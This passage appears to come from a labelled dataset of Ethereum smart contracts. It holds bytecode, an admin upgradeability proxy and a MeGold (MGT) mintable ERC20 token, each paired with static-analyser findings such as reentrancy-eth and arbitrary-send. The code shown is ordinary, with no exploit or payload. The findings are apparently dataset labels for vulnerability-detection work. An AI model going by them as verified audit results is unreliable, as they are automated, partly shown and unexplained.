0045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612dee816129ac565b8114612df957600080fd5b50565b612e05816129be565b8114612e1057600080fd5b50565b612e1c816129ea565b8114612e2757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122073ff71abffbbaad6a5a3abc826b16b93b8cf27a404418e1099e8727f0a35e72b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,654 |
0xF99ba14De96f54e725c8eBf790bA2dDc57e83Fd4
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
//
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220bce1dda09da3285d9a9d2a59181b27082eb3a5405348c115172e68a87522d4f364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,655 |
0xb68c345df40812ebc0ff8cf399e5c2255c7ca2b6
|
pragma solidity 0.5.12;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) internal {
require(initialOwner != address(0), "Ownable: initial owner is the zero address");
_owner = initialOwner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_isOwner(msg.sender), "Ownable: caller is not the owner");
_;
}
function _isOwner(address account) internal view returns (bool) {
return account == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title MinterRole
*/
contract MinterRole is Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(msg.sender), "Caller has no permission");
_;
}
function isMinter(address account) public view returns (bool) {
return(_minters.has(account) || _isOwner(account));
}
function addMinter(address account) public onlyOwner {
_minters.add(account);
emit MinterAdded(account);
}
function removeMinter(address account) public onlyOwner {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @dev Extension of `ERC20` that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Destroys `amount` tokens from msg.sender's balance.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*/
contract ERC20Mintable is ERC20Burnable, MinterRole {
// if additional minting of tokens is impossible
bool public mintingFinished;
// prevent minting of tokens when it is finished.
// prevent total supply to exceed the limit of emission.
modifier canMint(uint256 amount) {
require(amount > 0, "Minting zero amount");
require(!mintingFinished, "Minting is finished");
_;
}
/**
* @dev Stop any additional minting of tokens forever.
* Available only to the owner.
*/
function finishMinting() external onlyOwner {
mintingFinished = true;
}
/**
* @dev Minting of new tokens.
* @param to The address to mint to.
* @param value The amount to be minted.
*/
function mint(address to, uint256 value) public onlyMinter canMint(value) returns (bool) {
_mint(to, value);
return true;
}
}
/**
* @title ApproveAndCall Interface.
* @dev ApproveAndCall system allows to communicate with smart-contracts.
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external;
}
/**
* @title The main project contract.
*/
contract MGTToken is ERC20Mintable, ERC20Detailed {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// registered contracts (to prevent loss of token via transfer function)
mapping (address => bool) private _contracts;
constructor(address initialOwner, address recipient) public ERC20Detailed("MeGold", "MGT", 4) Ownable(initialOwner) {
// creating of inital supply
uint256 INITIAL_SUPPLY = 5400000e4;
_mint(recipient, INITIAL_SUPPLY);
}
/**
* @dev modified transfer function that allows to safely send tokens to smart-contract.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
if (_contracts[to]) {
approveAndCall(to, value, new bytes(0));
} else {
super.transfer(to, value);
}
return true;
}
/**
* @dev Allows to send tokens (via Approve and TransferFrom) to other smart-contract.
* @param spender Address of smart contracts to work with.
* @param amount Amount of tokens to send.
* @param extraData Any extra data.
*/
function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
/**
* @dev Allows to register other smart-contracts (to prevent loss of tokens via transfer function).
* @param account Address of smart contracts to work with.
*/
function registerContract(address account) external onlyOwner {
require(_isContract(account), "Token: account is not a smart contract");
_contracts[account] = true;
}
/**
* @dev Allows to unregister registered smart-contracts.
* @param account Address of smart contracts to work with.
*/
function unregisterContract(address account) external onlyOwner {
require(isRegistered(account), "Token: account is not registered yet");
_contracts[account] = false;
}
/**
* @dev Allows to any owner of the contract withdraw needed ERC20 token from this contract (for example promo or bounties).
* @param ERC20Token Address of ERC20 token.
* @param recipient Account to receive tokens.
*/
function withdrawERC20(address ERC20Token, address recipient) external onlyOwner {
uint256 amount = IERC20(ERC20Token).balanceOf(address(this));
IERC20(ERC20Token).safeTransfer(recipient, amount);
}
/**
* @return true if the address is registered as contract
* @param account Address to be checked.
*/
function isRegistered(address account) public view returns (bool) {
return _contracts[account];
}
/**
* @return true if `account` is a contract.
* @param account Address to be checked.
*/
function _isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80637d64bcb4116100de578063a9059cbb11610097578063cae9ca5111610071578063cae9ca5114610507578063dd62ed3e146105c2578063f2fde38b146105f0578063fac2c621146106165761018e565b8063a9059cbb1461048f578063aa271e1a146104bb578063c3c5a547146104e15761018e565b80637d64bcb4146103db5780638da5cb5b146103e35780639456fbcc1461040757806395d89b4114610435578063983b2d561461043d578063a457c2d7146104635761018e565b80633092afd51161014b57806340c10f191161012557806340c10f191461034057806342966c681461036c57806370a082311461038957806379cc6790146103af5761018e565b80633092afd5146102d0578063313ce567146102f657806339509351146103145761018e565b806305d2035b1461019357806306fdde03146101af578063095ea7b31461022c57806318160ddd1461025857806322a5dde41461027257806323b872dd1461029a575b600080fd5b61019b61063c565b604080519115158252519081900360200190f35b6101b7610645565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f15781810151838201526020016101d9565b50505050905090810190601f16801561021e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61019b6004803603604081101561024257600080fd5b506001600160a01b0381351690602001356106db565b6102606106f8565b60408051918252519081900360200190f35b6102986004803603602081101561028857600080fd5b50356001600160a01b03166106fe565b005b61019b600480360360608110156102b057600080fd5b506001600160a01b038135811691602081013590911690604001356107ae565b610298600480360360208110156102e657600080fd5b50356001600160a01b031661083b565b6102fe6108cb565b6040805160ff9092168252519081900360200190f35b61019b6004803603604081101561032a57600080fd5b506001600160a01b0381351690602001356108d4565b61019b6004803603604081101561035657600080fd5b506001600160a01b038135169060200135610928565b6102986004803603602081101561038257600080fd5b5035610a28565b6102606004803603602081101561039f57600080fd5b50356001600160a01b0316610a35565b610298600480360360408110156103c557600080fd5b506001600160a01b038135169060200135610a50565b610298610a5e565b6103eb610ab5565b604080516001600160a01b039092168252519081900360200190f35b6102986004803603604081101561041d57600080fd5b506001600160a01b0381358116916020013516610ac4565b6101b7610ba3565b6102986004803603602081101561045357600080fd5b50356001600160a01b0316610c04565b61019b6004803603604081101561047957600080fd5b506001600160a01b038135169060200135610c94565b61019b600480360360408110156104a557600080fd5b506001600160a01b038135169060200135610d02565b61019b600480360360208110156104d157600080fd5b50356001600160a01b0316610d59565b61019b600480360360208110156104f757600080fd5b50356001600160a01b0316610d81565b61019b6004803603606081101561051d57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561054d57600080fd5b82018360208201111561055f57600080fd5b8035906020019184600183028401116401000000008311171561058157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610d9f945050505050565b610260600480360360408110156105d857600080fd5b506001600160a01b0381358116916020013516610e9f565b6102986004803603602081101561060657600080fd5b50356001600160a01b0316610eca565b6102986004803603602081101561062c57600080fd5b50356001600160a01b0316610fb3565b60055460ff1681565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106d15780601f106106a6576101008083540402835291602001916106d1565b820191906000526020600020905b8154815290600101906020018083116106b457829003601f168201915b5050505050905090565b60006106ef6106e8611060565b8484611064565b50600192915050565b60025490565b61070733611150565b610746576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b61074f81611164565b61078a5760405162461bcd60e51b8152600401808060200182810382526026815260200180611bce6026913960400191505060405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b60006107bb84848461116a565b610831846107c7611060565b61082c85604051806060016040528060288152602001611aac602891396001600160a01b038a16600090815260016020526040812090610805611060565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6112c616565b611064565b5060019392505050565b61084433611150565b610883576040805162461bcd60e51b81526020600482018190526024820152600080516020611ad4833981519152604482015290519081900360640190fd5b61089460048263ffffffff61135d16565b6040516001600160a01b038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b60085460ff1690565b60006106ef6108e1611060565b8461082c85600160006108f2611060565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6113c416565b600061093333610d59565b610984576040805